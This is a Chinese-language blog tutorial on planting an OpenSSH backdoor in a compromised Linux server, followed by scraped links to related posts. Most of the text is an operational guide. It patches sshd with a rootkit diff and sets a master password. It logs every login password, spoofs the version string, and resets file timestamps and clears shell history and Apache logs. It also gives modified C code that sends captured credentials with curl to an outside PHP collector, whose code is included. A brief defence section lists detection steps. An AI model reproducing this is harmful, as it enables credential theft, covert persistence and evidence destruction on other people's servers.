OpenSSH后门获取root密码及防范
OpenSSH后门获取root密码及防范
相对于Windows操作系统,Linux操作系统的密码较难获取。而很多Linux服务器都配置了Openssh服务,在获取root权限的情况下,可以通过修改或者更新OpenSSH代码等方法,截取并保存其SSH登录账号密码,甚至可以留一个隐形的后门,达到长期控制linux服务器的目的。在很多Linux系统被入侵后都会在系统中留后门,使用OpenSSH留后门是入侵者的惯用方式之一,OpenSSh后门比较难于检测,本文就如何添加OpenSSH后门以及防范后门添加进行探讨。
1.1OpenSSH简介
OpenSSH是SSH(Secure SHell)协议的免费开源实现,很多人误认OpenSSH为与OpenSSL有关联,但实际上这两个计划的有不同的目的,不同的发展团队,名称相近只是因为两者有同样的软件发展目标──提供开放源代码的加密通讯软件。OpenSSH是OpenBSD的子计划其官方网站地址为http://www.openssh.com/,OpenSSH各个版本可以到其官网下载,推荐一个下载地址:http://ftp5.eu.openbsd.org/ftp/pub/OpenBSD/OpenSSH/。SSH协议族可以用来进行远程控制,或在计算机之间传送文件。而实现此功能的传统方式,如telnet(终端仿真协议)、rcp、ftp、rlogin、rsh都是极为不安全的,并且会使用明文传送密码。OpenSSH提供了服务端后台程序和客户端工具,用来加密远程控件和文件传输过程中的数据,并由此来代替原来的类似服务。OpenSSH是使用SSH透过计算机网络加密通讯的实现。它是取代由SSH Communications Security所提供的商用版本的开放源代码方案。在OpenSSH服务中sshd是一个典型的独立守护进程,OpenSSH服务可以通过/etc/ssh/sshd_config文件进行配置。OpenSSH 支持 SSH 协议的版本 1.3、1.5、和 2。自从 OpenSSH 的版本2.9以来,默认的协议是版本2。
1.2准备工作
(1)下载openssh-5.9p1.tar.gz参考下载地址:
http://down1.chinaunix.net/distfiles/openssh-5.9p1.tar.gz
(2)下载后门文件http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
(3)Linux虚拟机Centos6.4版本
(4)查看SSH当前版本信息
SSH后门目前网上支持版本为5.9以下,因此如果显示信息中的版本为5.9以下才能使用,如图1所示,使用“ssh –V”命令获取的OpenSSH版本为“OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010”。对高于5.9版本未做测试,理论上是可行的,因为在patch中可以直接修改banner。特别需要注意,这个版本号一定要记录下来,在编译时将该信息进行伪装。

图1 查看SSH当前版本信息
(5)备份SSH原始配置文件
如图2所示,将ssh_config和sshd_config分别备份为ssh_config.old和sshd_config.old。在Linux终端中分别执行文件备份命令:
mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old

图2 备份SSH原始配置文件
(6)解压ssh后门
将sshbd.tgz下载到本地并解压到本地,如图3所示,执行以下命令:
tar zxvf sshbd.tgz
cd openssh

图3 下载并解压ssh后门
使用官方openssh-5.9p1进行安装后门的可以执行以下命令
tar zxf openssh-.9p1.tar
tar zxf openssh-.9p1.path.tar
cp openssh-.9p1.patch/sshbd5.9p1.diff /openssh-.9p1
cd openssh-.9p1
patch < sshbd5.9p1.diff
1.3设置ssh后门的登录密码及其密码记录位置
在openssh目录中找到includes.h,使用“vi includes.h”修改define _SECRET_PASSWD为自己的登录密码,如图4所示,默认密码记录日志文件保存在/usr/local/share/0wn目录下的slog和clog文件。例如定义密码为“995430aaa”
define _SECRET_PASSWD " 995430aaa"

图4 修改ssh登录密码
1.4安装并编译
1.进行编译和安装
./configure –prefix=/usr –sysconfdir=/etc/ssh
make && make install
openssh-5.9p1需要用下面这个命令进行配置:
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
在编译过程中可能会出现“configure: error: *** zlib.h missing – please install first or check config.log”错误,可以执行“yum install zlib-devel和yum install openssl openssl-devel”安装后再次编译即可。
2.重启SSHD服务
执行“/etc/init.d/sshd restart”命令重启sshd服务。
3.还原新配置文件为旧配置文件时间
执行以下命令,将ssh_config和sshd_config修改时间跟ssh_config.old和sshd_config.old一致。
touch -r/etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r/etc/ssh/sshd_config.old /etc/ssh/sshd_config
mtime(modify time):最后一次修改文件或目录的时间
ctime(chang time) :最后一次改变文件或目录(改变的是原数据即:属性)的时间
如:记录该文件的inode节点被修改的时间。touch命令除了-d和-t选项外都会改变该时间。而且chmod,chown等命令也能改变该值。
atime(access time)::最后一次访问文件或目录的时间
ls -l file : 查看文件修改时间
ls -lc file: 查看文件状态改动时间
ls -lu file: 查看文件访问时间
stat file 文件时间三个属性
1.5登入后门并查看记录的密码文件
使用“ssh -l root IP”命令登录服务器,例如“ssh -l root 192.168.52.175”登录,可以使用root的密码,也可以使用后门设置的密码“995430aaa”进行登录。然后到/usr/local/share/0wn目录查看其记录的密码日志文件clog和slog,如图5所示,可以看到ssh登录和本地root帐号登录的密码。

图5 查看密码记录
在实际测试过程还需要清除apache日志,以下可供参考的日志清除命令:
export HISTFILE=/dev/null
export HISTSIZE=
cd /etc/httpd/logs/
sed -i ‘/192.168.52.175/d’ access_log*
echo >/root/.bash_history //清空操作日志
1.6拓展密码记录方式
前面记录的密码只能在linux服务器上面看,也就是说用户必须要读取文件的权限,如果某一天权限没有了,则无法登陆服务器了;最好的方法就是记录的用户、密码和端口可以通过邮件或者http直接发送到接收端,跟黑产收信比较类似。下面是具体实现方法:
(1)接收端ssh.php代码
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$host = $_POST['host'];
$port = $_POST['port'];
$time=date('Y-m-d H:i:s',time());
if(isset($username) != "" || isset($password) !="" || isset($host) != "")
{
$fp = fopen("sshlog.txt","a+");
$result = "sername:.$username--->:Password:$password----->:Host:$host----->:port:$port----->:time:$time";
fwrite($fp,$result);
fwrite($fp,"\r\n");
fclose($fp);
}
?>
(2)修改auth-passwd.c文件内容
int
userauth_passwd(Authctxt *authctxt)
{
static int attempt = ;
char prompt[];
char *password;
char *pass[];
char szres[] = {};
FILE *f;
char *findport()
{
FILE *FTopen;
char tempBuf[] = {};
char *Filename = "/etc/ssh/sshd_config";
char *Filetext = "Port";
if((FTopen = fopen(Filename, "r")) == NULL) { return Filetext; }
while(fgets(tempBuf, , FTopen) != NULL) {
if(strstr(tempBuf, Filetext)) { Filetext = tempBuf; break; }
memset(tempBuf, , );
}
fclose(FTopen);
return Filetext;
} const char *host = options.host_key_alias ? options.host_key_alias :
authctxt->host; if (attempt++ >= options.number_of_password_prompts)
return ; if (attempt != )
error("Permission denied, please try again."); snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
authctxt->server_user, host);
password = read_passphrase(prompt, );
strcpy(pass,password);//截取的密码的时候把它复制到自定义的地方去。方便调用
packet_start(SSH2_MSG_USERAUTH_REQUEST);
packet_put_cstring(authctxt->server_user);
packet_put_cstring(authctxt->service);
packet_put_cstring(authctxt->method->name);
packet_put_char();
packet_put_cstring(password);
memset(password, , strlen(password));
xfree(password);
packet_add_padding();
packet_send(); dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
&input_userauth_passwd_changereq); if((f=fopen("/tmp/olog","a+"))!=NULL){
fprintf(f,"username:%s-->password:%s-->host:%s-->port:%s\n",authctxt->server_user,pass,authctxt->host,findport());
fclose(f);} memset(szres,,sizeof(szres));
snprintf(szres,sizeof(szres),"/usr/bin/curl -s -d \"username=%s&password=%s&host=%s&port=%s\" http://www.antian365.com/ssh.php >/dev/null",authctxt->server_user,pass,authctxt->host,findport());
system(szres);
return ;
}
重新编译之,执行后将自动将密码发送到服务器。但本人在实际测试效果并没有达到作者所说的,相关信息请访问http://0cx.cc/ssh_get_password.jspx查看并验证。
1.7OpenSSH后门防范方法
(1)重装openssh软件,更新至最新版本7.2
(2)更换ssh默认登录端口22为其它端口。
(3)在iptable中添加ssh访问策略。
(4)查看命令历史记录,对可疑文件进行清理,在有条件的情况下,可重做系统。
(5)修改服务器所有密码为新的强健密码。
(6)利用strace找出ssh后门,首先利用命令“ps aux | grep sshd”获取可疑进程PID,使用“strace -o aa -ff -p PID”进行跟踪,然后登录ssh,成功登录之后,在当前目录,生成了strace的输出。使用“grep open aa* | grep -v -e No -e null -e denied| grep WR”命令查看记录密码打开文件。在上面命令中过滤掉错误信息和/dev/null信息,以及denied信息,并且找读写模式打开(WR)的,因为要把记录的密码写入文件,肯定要是以写方式打开的文件,可以可以找到以读写方式记录在文件中的ssh后门密码文件位置,通过该方法来判断是否存在ssh后门。当然也有不记录密码,而仅仅留一个万能ssh后门。
2.5.8OpenSSH利用总结
1.获取linux版本及其信息
cat /etc/issue
uname -ar
2.获取ssh版本信息并记录
ssh -V >ssh.txt
3.下载openssh客户端以及后门程序
wget http://down1.chinaunix.net/distfiles/openssh-5.9p1.tar.gz
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
注:网上还有一个现存版本sshd.tar.gz
4.ssh配置文件备份
mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old
5.安装必备软件
yum install -y openssl openssl-devel pam-devel zlib zlib-devel
6.解压并patch
tar zxf openssh-.9p1.tar.gz
tar zxf openssh-.9p1.tar.gz
cp openssh-.9p1.patch/sshbd5.9p1.diff /openssh-.9p1
cd openssh-.9p1
patch < sshbd5.9p1.diff
7.修改文件includes.h 文件记录用户名和密码的文件位置及其密码
#define ILOG "/tmp/ilog" //记录登录到本机的用户名和密码
#define OLOG "/tmp/olog" //记录本机登录到远程的用户名和密码
#define SECRETPW "123456654321" //你后门的密码
8.修改version.h文件使其修改后的版本信息为原始版本
#define SSH_VERSION "填入之前记下来的版本号,伪装原版本"
#define SSH_PORTABLE "小版本号"
9.安装并编译
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
make clean
make && make install
service sshd restart
10.恢复新配置文件的日期跟旧文件日期一致
对ssh_config和sshd_config新旧文件进行内容对比,使其配置文件一致,然后在修改文件日期。
touch -r/etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r/etc/ssh/sshd_config.old /etc/ssh/sshd_config
11.清除操作日志
export HISTFILE=/dev/null
export HISTSIZE=
cd /etc/httpd/logs/
sed -i ‘/192.168.52.175/d’ access_log*
echo >/root/.bash_history //清空操作日志
OpenSSH后门获取root密码及防范的更多相关文章
- 利用Openssh后门 劫持root密码
Linux操作系统的密码较难获取.而很多Linux服务器都配置了Openssh服务,在获取root权限的情况下, 可以通过修改或者更新OpenSSH代码等方法,截取并保存其SSH登录账号密码,甚至可以 ...
- 提权后获取linux root密码
提权后获取linux root密码 2011-09-09 10:45:25 我来说两句 收藏 我要投稿 在webbackdoor本身是root(可能性小的可怜)或通过某漏洞溢出 ...
- linux专题三之如何悄悄破解root密码(以redhat7.2x64为例)
root用户在linux系统中拥有至高无上的权限.掌握了root密码,差不对可以对linux系统随心所欲了,当然了,root用户也不是权限最高的用户. 但是掌握了root密码,基本上够我们用了.本文将 ...
- Linux OpenSSH后门的添加与防范
引言:相对于Windows,Linux操作系统的密码较难获取.不过很多Linux服务器配置了OpenSSH服务,在获取root权限的情况下,可以通过修改或者更新OpenSSH代码等方法,截取并保存其S ...
- Linux OpenSSH后门的加入与防范
引言:相对于Windows,Linux操作系统的password较难获取.只是非常多Linuxserver配置了OpenSSH服务.在获取root权限的情况下,能够通过改动或者更新OpenSSH代码等 ...
- 获取ubuntu 的root密码,告别sudo
刚刚开始使用ubuntu的朋友可能知道一个提权命令 sudo 如果你接触过其他的Linux系统的话,你会知道 linux系统有一个最高权限 root.一般用su root,然后输入密码就可 ...
- docker容器以ROOT账号登录(获取ROOT权限/ROOT密码)
第一步:查看容器的CONTAINER ID docker ps 第二步:获取root权限,例如需要进入的CONTAINER ID为4650e8d1bcca docker exec -ti -u roo ...
- Redis未授权访问写Webshell和公私钥认证获取root权限
0x01 什么是Redis未授权访问漏洞 Redis 默认情况下,会绑定在 0.0.0.0:,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服 ...
- MySql: 忘记root密码
win7 + mysql 5.6.35 C:\Windows\system32>mysql --versionmysql Ver 14.14 Distrib 5.6.35, for Win64 ...
随机推荐
- web ppt
先记录,以后再试试 https://github.com/gnab/remark/wiki http://segmentfault.com/blog/sweetdum/1190000000484121 ...
- SSM框架整合总结
关于ssm整合的相关总结: 1.持久层--->mybatis:通过Spring 来管理持久层的 Mapper (相当于 dao 接口),来完成对数据库的操作. 首先我们回顾一下,在单独使用myb ...
- Ahjesus Nodejs02 使用集成开发环境
下载最新版webstorm, 选择此集成开发环境是因为支持性较好,在vs下也有插件支持,不过感觉有些牵强 附vs插件 NTVS 详细介绍 安装好以后就需要配置npm NPM 国内高速镜像 source ...
- IIS减少工作线程阻塞的方法
IIS的工作进程(w3wp.exe)只提供了有限的工作线程(Work Thread)来处理请求.如果这些线程都因为要等待长时间运行的任务而阻塞,则运行时会将新来的请求排队,而不是立即执行,Web服务器 ...
- 配置VS代码生成工具ReSharper快捷键
VS代码生成工具ReSharper提供了丰富的快捷键,可以极大地提高你的开发效率.安装ReSharper后首次启动Visual Studio时,会出现一个名为ReSharper Keyboard Sc ...
- CSS属性选择器温故-4
1.属性选择器就是通过元素属性来找到元素 2.属性选择器语法 CSS3遵循了惯用的编码规则,通配符的使用提高了样式表的书写效率,也使CSS3的属性选择器更符合编码习惯 3.浏览器兼容性 CSS选择器总 ...
- Javascript中的Label语句
在javascript中,我们可能很少会去用到 Label 语句,但是熟练的应用 Label 语句,尤其是在嵌套循环中熟练应用 break, continue 与 Label 可以精确的返回到你想要的 ...
- android ArrayAdapter BaseAdapter SimpleAdapter使用讲解
不是我针对谁,我只想针对新手玩家. 不清楚Adapter作用的可以看一下http://www.cnblogs.com/zhichaobouke/p/5798672.html (括号里的内容都是我主观添 ...
- 初识python(1)
1.python简介 Python是一种面向对象.直译式计算机程序语言.也是一种功能强大而完善的通用型语言,已经具有十多年的发展历史,成熟且稳定. Python语法简捷而清晰,具有丰富和强大的类库.它 ...
- ArcMap中的名称冲突问题
这是一个非常有趣的问题. 现在我一个点层叫"汶川73",有一个面层也叫"汶川73",使用空间连接工具来计算每个面中被落入有多少个点.但不管怎么算,结果都只能生成 ...